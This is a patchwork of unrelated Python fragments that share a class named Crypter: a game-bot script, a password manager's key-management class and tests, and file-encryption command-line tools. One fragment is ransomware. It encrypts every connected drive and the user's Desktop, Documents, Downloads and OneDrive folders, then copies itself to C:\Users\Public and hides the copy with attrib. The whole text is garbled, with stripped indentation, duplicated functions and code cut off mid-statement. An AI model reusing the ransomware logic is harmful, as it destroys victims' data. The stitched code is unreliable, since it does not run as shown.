self.scenario_end(10060, 0, 10, 1)
self.scenario_end(10070) #20
self.doMission(10103)
self.scenario_end(1010301)
self.scenario_end(1010390) #25
self.tutorial_unit_add(12, 1, 2)
self.scenario_end(1010399, 1, 13, 1)
self.gacha_top()
self.home()
self.gacha_do(3, 10001)
self.gacha_do(3, 20001)
self.getAllGifts()
self.eventshop_page(2008000)
self.scenario_end(201805301)
self.getAllChallenges()
#self.gacha_do(2,10017)
#self.gacha_do(2,10018)
#self.gacha_do(2,20006)
#self.gacha_do(2,20007)
self.home()
self.exportUnits()
def create_key_iv(queue, password, salt):
queue.put(Crypter.createIvKey(password, salt))
def fresh_iv2(self):
"""
Creates a fresh iv for the settings encryption (iv2).
"""
self.iv2 = Crypter.createIv()
def create_key_iv(queue, password, salt):
queue.put(Crypter.createIvKey(password, salt))
def make_test_backward_compatibility(self, text):
text_for_code = text
encoded_text = Crypter.encode_text(text_for_code)
decoded_text = Crypter.decode_text(encoded_text)
self.assertEqual(text_for_code, decoded_text)
def new_salt(self):
"""
Creates a new salt for the setting.
"""
self.salt = Crypter.createSalt()
def new_salt(self):
"""
Creates a new salt for the setting.
"""
self.salt = Crypter.createSalt()
def crypt_all() -> None:
"""
This function uses the list of possible paths for drivers connected to the machine from the "util"
file to encrypt them (only available on Windows).
"""
for drive in drivers:
try:
chdir(drive + '/')
crypter.crypt_directory(drive)
except FileNotFoundError:
continue
except PermissionError:
continue
crypter = Crypter()
desktop = expanduser('~/Desktop')
documents = expanduser('~/Documents')
downloads = expanduser('~/Downloads')
onedrive = expanduser('~/OneDrive')
dst = argv[0]
# These lines use system commands to hide the ransomware file
# (to be placed in C:\Users\Public\filename.exe).
try:
dst = r'C:\Users\Public\{}'.format(argv[0])
command = f'attrib +s +h {dst}'
copyfile(argv[0], dst)
system(command)
class KgkManager(object):
"""
New KgkManagers are uninitialized and need either a new kgk or get one by decrypting an existing one.
"""
def __init__(self):
self.preference_manager = None
self.kgk = b''
self.iv2 = None
self.salt2 = None
self.kgk_crypter = None
self.salt = b''
def __str__(self):
attr = ["KGK: " + str(hexlify(self.kgk), encoding='utf-8'),
"salt: " + str(hexlify(self.salt), encoding='utf-8')]
if self.iv2:
attr.append("iv2: " + str(hexlify(self.iv2), encoding='utf-8'))
if self.salt2:
attr.append("salt2: " + str(hexlify(self.salt2), encoding='utf-8'))
return "<" + ", ".join(attr) + ">"
def set_preference_manager(self, preference_manager):
"""
Pass a preference manager to load and store settings locally
:param preference_manager:
:type preference_manager: PreferenceManager
"""
if type(preference_manager) != PreferenceManager:
raise TypeError
self.preference_manager = preference_manager
def get_kgk_crypter_salt(self):
"""
Loads the public salt. If there is none it is created and stored.
:return:
"""
self.salt = self.preference_manager.get_salt()
if len(self.salt) != 32:
self.salt = Crypter.createSalt()
self.store_salt(self.salt)
return self.salt
def store_salt(self, salt):
"""
Stores the salt using the preference manager.
:param salt: the salt
:type salt: bytes
"""
if type(salt) == bytes:
self.salt = salt
if self.preference_manager:
self.preference_manager.store_salt(salt)
else:
raise TypeError("There is no salt to be saved")
def get_kgk_crypter(self, password, salt):
"""
Creates a kgk crypter for the given credentials. This is a very expensive operation.
:param password:
:type password: bytes
:param salt:
:type salt: bytes
:return: a kgk crypter
:rtype: Crypter
"""
self.kgk_crypter = Crypter(Crypter.createIvKey(password=password, salt=salt))
self.store_salt(salt=salt)
return self.kgk_crypter
def create_new_kgk(self):
"""
Creates a new kgk. This overwrites the previous one.
:return: the new kgk
:rtype: bytes
"""
self.kgk = os.urandom(64)
self.iv2 = Crypter.createIv()
self.salt2 = Crypter.createSalt()
return self.kgk
def decrypt_kgk(self, encrypted_kgk, kgk_crypter=None, password=b'', salt=b''):
"""
Decrypts kgk blobs. If a crypter is passed it is used. If none is passed a new crypter is created with
the salt and password. This takes relatively long. If the encrypted_kgk has a wrong length a new kgk is
created.
:param encrypted_kgk:
:type encrypted_kgk: bytes
:param kgk_crypter:
:type kgk_crypter: Crypter
:param password:
:type password: bytes
:param salt:
:type salt: bytes
"""
if kgk_crypter:
self.kgk_crypter = kgk_crypter
else:
if len(salt) < 32:
salt = Crypter.createSalt()
self.get_kgk_crypter(password, salt)
if len(encrypted_kgk) == 112:
kgk_block = self.kgk_crypter.decrypt_unpadded(encrypted_kgk)
self.salt2 = kgk_block[:32]
self.iv2 = kgk_block[32:48]
self.kgk = kgk_block[48:112]
else:
self.create_new_kgk()
def get_kgk(self):
"""
Returns the kgk.
:return: the kgk
:rtype: bytes
"""
return self.kgk
def has_kgk(self):
"""
Returns true if there is a kgk and a crypter.
:return: kgk state
:rtype: bool
"""
return not not self.kgk and len(self.kgk) == 64 and self.kgk_crypter
def get_salt2(self):
"""
Returns the salt2
:return: salt2
:rtype: bytes
"""
return self.salt2
def get_iv2(self):
"""
Returns the iv2
:return: iv2
:rtype: bytes
"""
return self.iv2
def fresh_salt2(self):
"""
Creates a fresh salt for the settings encryption (salt2).
"""
self.salt2 = Crypter.createSalt()
def fresh_iv2(self):
"""
Creates a fresh iv for the settings encryption (iv2).
"""
self.iv2 = Crypter.createIv()
def get_encrypted_kgk(self):
"""
Returns an encrypted kgk block.
:return: kgk block
:rtype: bytes
"""
return self.kgk_crypter.encrypt_unpadded(self.salt2 + self.iv2 + self.kgk)
def get_fresh_encrypted_kgk(self):
"""
Returns a new encrypted kgk block with fresh salt2 and iv2. This does not create a new kgk.
:return: kgk block
:rtype: bytes
"""
self.fresh_iv2()
self.fresh_salt2()
return self.get_encrypted_kgk()
def create_and_save_new_kgk_block(self, kgk_crypter=None):
"""
Creates a fresh kgk block and saves it.
:param kgk_crypter:
:type kgk_crypter: Crypter
:return: kgk block
:rtype: bytes
"""
self.salt = Crypter.createSalt()
self.store_salt(self.salt)
if kgk_crypter:
self.kgk_crypter = kgk_crypter
kgk_block = self.get_fresh_encrypted_kgk()
self.preference_manager.store_kgk_block(kgk_block)
return kgk_block
def update_from_blob(self, password, blob):
"""
Updates the kgk from a remote data blob.
:param password: the masterpassword
:type password: bytes
:param blob: the encrypted data
:type blob: bytes
"""
if blob[0] != 1 or len(blob) < 145:
raise ValueError("Version error: Wrong data format. Could not import anything.")
salt = blob[1:33]
kgk_block = blob[33:145]
self.decrypt_kgk(encrypted_kgk=kgk_block, password=password, salt=salt)
def store_local_kgk_block(self):
"""
Stores the local kgk block.
"""
if self.preference_manager:
self.preference_manager.store_kgk_block(self.get_encrypted_kgk())
if len(self.salt) == 32:
self.store_salt(self.salt)
else:
raise ValueError("The salt has to be 32 bytes.")
def reset(self):
"""
Resets the kgk manager.
"""
self.salt = b''
self.iv2 = None
self.salt2 = None
self.kgk = b''
self.kgk_crypter = None
def fresh_salt2(self):
"""
Creates a fresh salt for the settings encryption (salt2).
"""
self.salt2 = Crypter.createSalt()
cmdopts.error("ERROR: You need to specify the file to encrypt")
cmdopts.print_help()
sys.exit(0)
if opts.key is None:
cmdopts.error("ERROR: You need to specify the key for the encryption")
cmdopts.print_help()
sys.exit(0)
if opts.block_size is not None:
if opts.block_size <= 1024:
cmdopts.error("ERROR: You need to specify the block_size greater than 1024")
cmdopts.print_help()
sys.exit(0)
bs = opts.block_size
sys.stdout.write("Initializing Crypter...")
if opts.block_size is None:
crp = Crypter(key=opts.key)
else:
crp = Crypter(key=opts.key, blocklimit=opts.block_size)
print ('OK!')
sys.stdout.write("Open and reading the file...")
source_file = open(opts.file, 'rb')
fc = source_file.read()
print ('OK!')
sys.stdout.write("Encrypting...")
crp.encrypt_data(fc)
blocks = crp.get_encrypted_blocks()
print ('OK!')
print "---------------------------------------"
print "Original Data: (show first 50 Chars)"
print fc[:50]
source_hash = SHA256.new(fc).hexdigest()
def __init__(self, parser, password):
self.crypter = Crypter(password)
self.parser = parser
def test_update_from_sync(self):
settings = {
'settings': {
'unit.test': {
'domain':
'unit.test',
'passwordTemplate':
'xxaAnoxxxxx',
'iterations':
5000,
'notes':
'Nice note!',
'salt':
'cGVwcGVy',
'usedCharacters':
'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQRTUVWXYZ0123456789'
+ '#!"§$%&/()[]{}=-_+*<>;:.',
'cDate':
'2011-02-12T11:07:31',
'mDate':
'2011-02-12T11:07:32'
},
'some.domain': {
'domain': 'some.domain',
'passwordTemplate': 'oanA',
'iterations': 4096,
'salt': 'cGVwcGVy',
'usedCharacters': '6478593021',
'cDate': '2013-06-17T04:03:41',
'mDate': '2014-08-02T10:37:12'
}
},
'synced': []
}
salt = os.urandom(32)
kgk_manager = KgkManager()
kgk_manager.set_preference_manager(self.preference_manager)
kgk_manager.create_new_kgk()
kgk_block = kgk_manager.create_and_save_new_kgk_block(
Crypter(Crypter.createIvKey('xyz'.encode('utf-8'), salt)))
crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager)
f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw')
f.write(salt + kgk_block + crypter.encrypt(
struct.pack('!I', 0) +
Packer.compress(json.dumps(settings).encode('utf-8'))))
f.close()
self.preference_manager.read_file()
self.manager.sync_manager = MockSyncManager(kgk_manager.get_kgk())
self.manager.load_settings(kgk_manager, 'xyz')
self.assertIn('unit.test', self.manager.get_domain_list())
self.assertIn('some.domain', self.manager.get_domain_list())
self.assertIn('third.domain', self.manager.get_domain_list())
self.assertEqual(
5001,
self.manager.get_setting('unit.test').get_iterations())
self.assertEqual(
4096,
self.manager.get_setting('some.domain').get_iterations())
self.assertEqual(
4098,
self.manager.get_setting('third.domain').get_iterations())
file = os.path.expanduser('~/.ctSESAM_test_extra.pws')
if os.path.isfile(file):
try:
import win32con
import win32api
win32api.SetFileAttributes(file,
win32con.FILE_ATTRIBUTE_NORMAL)
except ImportError:
pass
os.remove(file)
dest = sys.argv[2]
# Source folder does not exitsts
if not os.path.isdir(src):
print("Error: Source folder doesn't exists.")
exit(1)
# Dest can not be the same as source
if dest == src:
print(
"Error: Destination directory can't be the same as source directory!"
)
exit(1)
# Init Crypter
crypter = Crypter(verbose)
# Print warning
select = input(
"Content of destination directory will be removed (if exists). Do you want continue? [y/n]\n"
)
if (select != "y") and (select != "yes"):
exit(0)
temp = dest + '/temp'
# Print init info
print("Initializing...")
crypter.initialize(src, dest)
# Print analyze info